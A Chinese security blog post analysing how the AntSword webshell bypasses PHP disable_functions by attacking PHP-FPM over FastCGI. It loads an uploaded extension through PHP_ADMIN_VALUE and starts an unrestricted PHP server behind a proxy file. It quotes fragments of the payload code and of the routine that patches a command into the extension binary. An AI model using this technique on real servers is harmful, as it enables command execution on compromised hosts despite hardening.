蚁剑disable_functions研究

2019-08-01 约 1654 字 预计阅读 4 分钟

声明:本文 【蚁剑disable_functions研究】 由作者 这个名字挺好 于 2019-08-01 09:40:00 首发 先知社区 曾经 浏览数 47 次

感谢 这个名字挺好 的辛苦付出!

蚁剑更新了利用PHP-FPM实现bypass disable_functions,学习一波

文中提到我(@ttttmr)的是这个,我想的是可以做免杀大小马,看Fastcgi Client放在哪一边了(放大马js里...)

不了解的同学可以先看以下文章

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

浅析php-fpm的攻击方式

PHP 连接方式&攻击PHP-FPM&*CTF echohub WP

实战:2019 0ctf final Web Writeup(一)

其中*CTF echohub是利用不同ini配置bypass的,而0ctf wallbreaker_not_very_hard是通过传PHP_ADMIN_VALUE,引入so库实现的

探索

基于蚁剑的FastCGI/PHP-FPM模式和AntSword-Labs 5环境

搭环境复现一遍蚁剑disable_functions肯定是少不了的,没有什么坑,就不多写了

很明显的是蚁剑在服务器上传了1个so库,和一个.antproxy.php

上服务器先看下.antproxy.php

<?php
        set_time_limit(120);
        $aAccess = curl_init();
        curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:60049/index.php?".$_SERVER['QUERY_STRING']);
...

正如文件名,基本上就是代理向127.0.0.1:60049index.php发送请求,60049居然还有Web,看下是什么东西

Docker中没有ss或者netstat,需要自己装
apt update && apt install iproute

ss看不到(为什么看不到?有师傅知道吗)

ps可以

需要apt install procps

/bin/sh -c php -n -S 127.0.0.1:60049 -t /var/www/html

看来是起了一个新的 PHP Server,-n就是不使用php.ini,从而实现了 bypass disable_functions

大致推测出是利用之前上传的so库实现的命令执行,然后跑了个 PHP Server

下面看下蚁剑干了什么,仓库在这里

主要代码在core/php_fpm/index.js里了

启动PHP Server的代码,然后生成ext传到服务器上

let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
...
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);

https://github.com/Medicean/as_bypass_php_disable_functions/blob/7d28318c5f0a795dc96bda95e37d04a05b5bf2a2/core/php_fpm/index.js#L168

构造攻击PHP-FPM的Payload,加载扩展库

var payload = `${FastCgiClient()};
    $content="";
    $client = new Client('${fpm_host}',${fpm_port});
    ...
    'PHP_VALUE' => 'extension=${p}',
    'PHP_ADMIN_VALUE' => 'extension=${p}',

https://github.com/Medicean/as_bypass_php_disable_functions/blob/7d28318c5f0a795dc96bda95e37d04a05b5bf2a2/core/php_fpm/index.js#L197

触发Payload后,就会执行启动一个新的PHP Server

后续shell都通过.antproxy.php代理用60049的PHP解析,也就没有disable_functions了

ext分析

差不多了解了是如何实现的,剩下的一点疑点就是这个扩展已经能够执行命令了,为什么还要费这么大动静,起一个新的PHP,找到了之前Medicean大佬的disable_functions文章,PHP Server和扩展的源头

https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg

看代码里是这样构造的

// 生成扩展
  generateExt(cmd) {
    let self = this;
    let fileBuff = fs.readFileSync(self.ext_path);
    let start = 0, end = 0;
    switch (self.ext_name) {
      case 'ant_x86.so':
        start = 275;
        end = 504;
        break;
      case 'ant_x64.so':
      ...
      case 'ant_x86.dll':
        start = 1544;
        end = 1683;
        break;
      ...
    }
    if(cmd.length > (end - start)) {
      return
    }
    fileBuff[end] = 0;
    fileBuff.write("                    ", start);
    fileBuff.write(cmd, start);
    return fileBuff;
  }

直接对二进制数据操作,在start到end中填入cmd(就是前面说到的命令)

找了一波没找到扩展源码,只能自己逆一下了,因为是Windows就选了x86的Dll

如此简单...system执行命令

二进制的角度看就是从[开始到]里面填命令

十分巧妙的实现了“动态”扩展,而且很通用

其他

以后Webshell执行命令方便多了,但是感觉再起一个PHP Server动静实在太大了

倒是完全可以单纯用扩展实现,但需要根据版本定制,不知道能不能有更通用的实现5.x7.x

https://github.com/phith0n/arbitrary-php-extension

https://micropoor.blogspot.com/2017/12/php.html

更新作者回复

可以可以,分析的没毛病。另外解答一下你提到的扩展问题,已经有一个ant_php_extensions项目了,扩展里定义了antsystem函数,核心里已经加进去了这个函数,你可以试一下。为什么不用扩展呢,上次的文章里已经提了一下,PHP在加载扩展的时候,首先会检查build的版本号,而且强制了小版本必须一致,所以你需要针对每个小版本编译一份扩展,并且在上传的时候判断一次,就比较麻烦了。另外,这个so的源码,就是你用IDA反编译出来的样子,直接用汇编写的,所以体积非常小

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now